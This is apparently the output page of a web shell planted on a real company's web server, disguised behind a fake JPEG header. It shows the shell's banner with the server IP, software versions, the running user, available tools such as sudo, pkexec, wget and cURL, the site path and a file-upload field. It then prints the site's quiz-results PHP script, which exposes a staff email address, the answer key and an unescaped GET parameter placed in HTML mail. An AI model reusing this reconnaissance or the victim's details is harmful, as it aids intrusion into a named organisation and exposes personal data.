????JFIF??x?x????'
| Server IP : 79.136.114.73 / Your IP : 216.73.216.3 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/appsrv.astacus.se/new_employee2/ |
Upload File : |
<?php
session_start();
$headers = 'MIME-Version: 1.0' . "\r\n";
$headers .= "Content-type: text/html; charset=iso-8859-1\r\n";
$headers .= "From: noreply@astacus.se\r\n";
$SendTo = "carl.hoffstedt@astacus.se";
$message = "First name: ".$_SESSION['firstname']."<br>";
$message .= "Last name: ".$_SESSION['lastname']."<br>";
$message .= "Mail: ".$_SESSION['mail']."<br>";
$message .= "Phone: ".$_SESSION['phone']."<br><br>";
$message .= "Q1: ".$_SESSION['q1']." Correct answer: 20/4<br>";
$message .= "Q2: ".$_SESSION['q2']." Correct answer: -1<br>";
$message .= "Q3: ".$_SESSION['q3']." Correct answer: 2<br>";
$message .= "Q4: ".$_SESSION['q4']." Correct answer: +1.6<br>";
$message .= "Q5: ".$_SESSION['q5']." Correct answer: 75 m3<br>";
$message .= "Q6: ".$_SESSION['q6']." Correct answer: Consistent work<br>";
$message .= "Q7: ".$_SESSION['q7']." Correct answer: Tell that its not possible since you don't understand the instructions.<br>";
$message .= "<br>IQ Score was: ".$_GET['result']."<br>";
mail($SendTo, "Testscore!" ,$message, $headers);
?>
<!doctype html>
<html>
<head>
<meta charset="UTF-8">
<title>Astacus Employee Qualification</title>
</head>
<body>
<center>
<table width="1200" border="0" cellspacing="0" cellpadding="0" align="center">
<tbody>
<tr>
<td align="center" style="font-family: Gotham, 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 18px; text-align: center;"><p> </p>
<span style="text-align: center; font-size: 36px">Welcome to the Astacus Employee Qualification webpage!</span> </p>
<p>Thank you for submitting all the questions. The Manager will give you the results shortly.</p>
<form action="iq.php" method="post" name="form1" id="form1">
<p><img src="images/smilie.jpg" width="240" height="240" alt=""/></p>
</form></td>
</tr>
</tbody>
</table>
</center>
</body>
</html>